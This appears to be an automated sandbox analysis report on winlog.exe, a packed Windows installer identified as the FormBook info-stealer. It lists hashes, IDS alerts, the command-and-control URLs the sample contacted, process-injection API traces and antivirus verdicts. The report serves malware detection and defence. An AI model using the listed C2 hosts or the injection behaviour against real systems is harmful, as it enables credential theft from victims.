popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

winlog.exe

  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 March 12, 2021, 6:54 p.m. March 12, 2021, 6:56 p.m.
Size 210.7KB
Type PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5 9bdc8f00b437a66c1f1f0b6b45849d04
SHA256 1ed998332afc95e5830817b9f215468c55e67cd134c920b497521042bd6d4c38
CRC32 68FC0283
ssdeep 6144:rPKyLL2a8LiYvx0Mjei55TxnaBDMzuumPy9:mRa8LiDM539aBiNmK9
Yara
  • PE_Header_Zero - PE File Signature Zero
  • escalate_priv - Escalade priviledges
  • screenshot - Take screenshot
  • win_registry - Affect system registries
  • win_token - Affect system token
  • win_private_profile - Affect private profile
  • win_files_operation - Affect private profile
  • IsPE32 - (no description)
  • IsWindowsGUI - (no description)
  • IsPacked - Entropy Check
  • HasOverlay - Overlay Check
  • HasRichSignature - Rich Signature Check

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.101:49212 -> 199.34.228.56:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49212 -> 199.34.228.56:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49212 -> 199.34.228.56:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49206 -> 192.0.78.25:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49206 -> 192.0.78.25:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49206 -> 192.0.78.25:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49210 -> 91.195.240.94:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49210 -> 91.195.240.94:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49210 -> 91.195.240.94:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49217 -> 94.136.40.51:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49217 -> 94.136.40.51:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49217 -> 94.136.40.51:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49208 -> 150.95.255.38:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49208 -> 150.95.255.38:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49208 -> 150.95.255.38:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49208 -> 150.95.255.38:80 2031088 ET HUNTING Request to .XYZ Domain with Minimal Headers Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
section .ndata
suspicious_features GET method with no useragent header suspicious_request GET http://www.translations.tools/nsag/?NVlTnb=1Yx90tXfD0vRUrwJZLNplGUVoptWSuBjE4n4ChdeuvIOAX2e1438cOyuyQxg5V577ZyhmWQ6&lhud=UJB4FDGPbJth
suspicious_features GET method with no useragent header suspicious_request GET http://www.bkhlep.xyz/nsag/?NVlTnb=9quu7qxzrtoB+kYIkoOu+N5EFAckOqu46RZA8fowIlCZtpsSFEgon8p3qHkXd1e9TouKQXQv&lhud=UJB4FDGPbJth
suspicious_features GET method with no useragent header suspicious_request GET http://www.explorerthecity.com/nsag/?NVlTnb=nMtIT7UzM1V7BZ5QE53kf7KTbdq7isGDN9UDKAjWuyMqX8tFeFGDukCfRsacMPMH+iu4H70p&lhud=UJB4FDGPbJth
suspicious_features GET method with no useragent header suspicious_request GET http://www.mauriciozarate.com/nsag/?NVlTnb=Ue04sXlQiii509Shi2umXEvf3gsXdN0yxpr9ZQMQaC4qPH85OcBkfpKqwav3hGwaJkhlOFwu&lhud=UJB4FDGPbJth
suspicious_features GET method with no useragent header suspicious_request GET http://www.usopencoverage.com/nsag/?NVlTnb=og4DIg58JlKco58KkdqEYNLQLc3eWWfvHIn4nR8VBNKZeGgyeIgd3wA4BT8g076OhyzEqtq0&lhud=UJB4FDGPbJth
request POST http://www.translations.tools/nsag/
request GET http://www.translations.tools/nsag/?NVlTnb=1Yx90tXfD0vRUrwJZLNplGUVoptWSuBjE4n4ChdeuvIOAX2e1438cOyuyQxg5V577ZyhmWQ6&lhud=UJB4FDGPbJth
request POST http://www.bkhlep.xyz/nsag/
request GET http://www.bkhlep.xyz/nsag/?NVlTnb=9quu7qxzrtoB+kYIkoOu+N5EFAckOqu46RZA8fowIlCZtpsSFEgon8p3qHkXd1e9TouKQXQv&lhud=UJB4FDGPbJth
request POST http://www.explorerthecity.com/nsag/
request GET http://www.explorerthecity.com/nsag/?NVlTnb=nMtIT7UzM1V7BZ5QE53kf7KTbdq7isGDN9UDKAjWuyMqX8tFeFGDukCfRsacMPMH+iu4H70p&lhud=UJB4FDGPbJth
request POST http://www.mauriciozarate.com/nsag/
request GET http://www.mauriciozarate.com/nsag/?NVlTnb=Ue04sXlQiii509Shi2umXEvf3gsXdN0yxpr9ZQMQaC4qPH85OcBkfpKqwav3hGwaJkhlOFwu&lhud=UJB4FDGPbJth
request POST http://www.usopencoverage.com/nsag/
request GET http://www.usopencoverage.com/nsag/?NVlTnb=og4DIg58JlKco58KkdqEYNLQLc3eWWfvHIn4nR8VBNKZeGgyeIgd3wA4BT8g076OhyzEqtq0&lhud=UJB4FDGPbJth
request POST http://www.translations.tools/nsag/
request POST http://www.bkhlep.xyz/nsag/
request POST http://www.explorerthecity.com/nsag/
request POST http://www.mauriciozarate.com/nsag/
request POST http://www.usopencoverage.com/nsag/
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 1772
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00870000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\nsk6367.tmp\x369itfv9itih1g.dll
file C:\Users\test22\AppData\Local\Temp\nsk6367.tmp\x369itfv9itih1g.dll
Time & API Arguments Status Return Repeated

Process32NextW

 snapshot_handle: 0x000001ec
process_name: mobsync.exe
process_identifier: 1068
1 1 0

Process32NextW

 snapshot_handle: 0x000001ec
process_name: pw.exe
process_identifier: 3064
1 1 0

Process32NextW

 snapshot_handle: 0x000001ec
process_name: taskhost.exe
process_identifier: 2420
1 1 0

Process32NextW

 snapshot_handle: 0x000001ec
process_name: winlog.exe
process_identifier: 2232
1 1 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
url http://crl.comodo.net/TrustedCertificateServices.crl0
url http://users.ocsp.d-trust.net03
url http://crl.ssc.lt/root-b/cacrl.crl0
url http://crl.securetrust.com/STCA.crl0
url http://crl.securetrust.com/SGCA.crl0
url http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0=
url http://www.ssc.lt/cps03
url http://www.informatik.admin.ch/PKI/links/CPS_2_16_756_1_17_3_1_0.pdf0
url http://www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaCAII.crl0
url http://www.digsigtrust.com/DST_TRUST_CPS_v990701.html0
url http://www.microsoft.com/pki/certs/TrustListPCA.crt0
url https://www.certification.tn/cgi-bin/pub/crl/cacrl.crl0
url http://nsis.sf.net/NSIS_Error
url http://www.pkioverheid.nl/policies/root-policy0
url http://cps.chambersign.org/cps/chambersroot.html0
url http://www.e-szigno.hu/SZSZ/0
url http://www.entrust.net/CRL/Client1.crl0
url http://crl.chambersign.org/publicnotaryroot.crl0
url http://crl.comodo.net/AAACertificateServices.crl0
url http://www.certplus.com/CRL/class3.crl0
url http://logo.verisign.com/vslogo.gif0
url http://www.acabogacia.org/doc0
url http://www.disig.sk/ca/crl/ca_disig.crl0
url https://www.catcert.net/verarrel
url http://www.microsoft.com/schemas/ie8tldlistdescription/1.0
url http://www.sk.ee/cps/0
url http://www.quovadis.bm0
url https://www.catcert.net/verarrel05
url http://www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaCAI.crl0
url http://crl.chambersign.org/chambersroot.crl0
url http://www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaCAIII.crl0
url http://crl.globalsign.net/root-r2.crl0
url http://certificates.starfieldtech.com/repository/1604
url http://www.d-trust.net0
url http://pki-root.ecertpki.cl/CertEnroll/E-CERT%20ROOT%20CA.crl0
url http://crl.ssc.lt/root-a/cacrl.crl0
url http://crl.usertrust.com/UTN-DATACorpSGC.crl0
url http://www.certicamara.com/certicamaraca.crl0
url http://www.d-trust.net/crl/d-trust_root_class_2_ca_2007.crl0
url http://crl.usertrust.com/UTN-USERFirst-Object.crl0)
url http://www.post.trust.ie/reposit/cps.html0
url http://www.d-trust.net/crl/d-trust_qualified_root_ca_1_2007_pn.crl0
url http://www2.public-trust.com/crl/ct/ctroot.crl0
url http://www.certicamara.com0
url http://www.pki.admin.ch/policy/CPS_2_16_756_1_17_3_21_1.pdf0
url http://fedir.comsign.co.il/cacert/ComSignAdvancedSecurityCA.crt0
url http://www.comsign.co.il/cps0
url http://crl.usertrust.com/UTN-USERFirst-NetworkApplications.crl0
url http://www.microsoft.com/pki/crl/products/TrustListPCA.crl
url http://acraiz.icpbrasil.gov.br/LCRacraiz.crl0
description Code injection with CreateRemoteThread in a remote process rule inject_thread
description Create a windows service rule create_service
description Communications over UDP network rule network_udp_sock
description Listen for incoming communication rule network_tcp_listen
description Communications over P2P network rule network_p2p_win
description Communications over HTTP rule network_http
description File downloader/dropper rule network_dropper
description Communications over FTP rule network_ftp
description Communications over RAW socket rule network_tcp_socket
description Communications use DNS rule network_dns
description Communication using dga rule network_dga
description Escalade priviledges rule escalate_priv
description Take screenshot rule screenshot
description Run a keylogger rule keylogger
description Steal credential rule cred_local
description Record Audio rule sniff_audio
description APC queue tasks migration rule migrate_apc
description Malware can spread east-west using share drive rule spreading_share
description Create or check mutex rule win_mutex
description Affect system registries rule win_registry
description Affect system token rule win_token
description Affect private profile rule win_private_profile
description Affect private profile rule win_files_operation
description Match Winsock 2 API library declaration rule Str_Win32_Winsock2_Library
description Match Windows Inet API library declaration rule Str_Win32_Wininet_Library
description Match Windows Inet API call rule Str_Win32_Internet_API
description Match Windows Http API call rule Str_Win32_Http_API
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerCheck__RemoteAPI
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__ConsoleCtrl
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description (no description) rule Check_Dlls
description Checks if being debugged rule anti_dbg
description Anti-Sandbox checks for ThreatExpert rule antisb_threatExpert
description Bypass DEP rule disable_dep
description Affect hook table rule win_hook
description Code injection with CreateRemoteThread in a remote process rule inject_thread
description Hijack network configuration rule hijack_network
description Create a windows service rule create_service
description Create a COM server rule create_com_service
description Communications over UDP network rule network_udp_sock
description Listen for incoming communication rule network_tcp_listen
description Communications over P2P network rule network_p2p_win
description Communications over HTTP rule network_http
description File downloader/dropper rule network_dropper
Process injection Process 2232 called NtSetContextThread to modify thread in remote process 1772
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 2000355780
registers.esp: 1638384
registers.edi: 0
registers.eax: 4313088
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000208
process_identifier: 1772
1 0 0
Bkav W32.AIDetect.malware1
Elastic malicious (high confidence)
Cynet Malicious (score: 100)
McAfee RDN/GenericM
Cylance Unsafe
Sangfor Trojan.Win32.Save.a
CrowdStrike win/malicious_confidence_80% (W)
Cyren W32/Kryptik.DOX.gen!Eldorado
Symantec ML.Attribute.HighConfidence
ESET-NOD32 a variant of Win32/Injector.EOVE
TrendMicro-HouseCall TROJ_GEN.R002H0CCB21
Paloalto generic.ml
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Gen:Variant.Zusy.370907
MicroWorld-eScan Gen:Variant.Zusy.370907
Avast Win32:PWSX-gen [Trj]
Emsisoft Gen:Variant.Cerbu.92232 (B)
DrWeb Trojan.Siggen12.35060
McAfee-GW-Edition BehavesLike.Win32.Vopak.dc
FireEye Generic.mg.9bdc8f00b437a66c
Sophos ML/PE-A
APEX Malicious
GData Win32.Trojan-Stealer.FormBook.PXU06R
Webroot W32.Trojan.Gen
Avira TR/AD.Swotter.owqbh
Gridinsoft Trojan.Win32.Agent.oa
Arcabit Trojan.Cerbu.D16848
AegisLab Trojan.Win32.Malicious.4!c
ZoneAlarm UDS:DangerousObject.Multi.Generic
Microsoft Program:Win32/Wacapew.C!ml
SentinelOne Static AI - Malicious PE
Malwarebytes Generic.Malware/Suspicious
Rising Trojan.Injector!8.C4 (TFE:dGZlOgH0wOLX3LIu0g)
Ikarus Trojan-Spy.Keylogger.AgentTesla
Fortinet W32/Injector.AFS!tr
AVG Win32:PWSX-gen [Trj]
Cybereason malicious.470319
dead_host 199.197.13.53:80
dead_host 103.88.34.80:80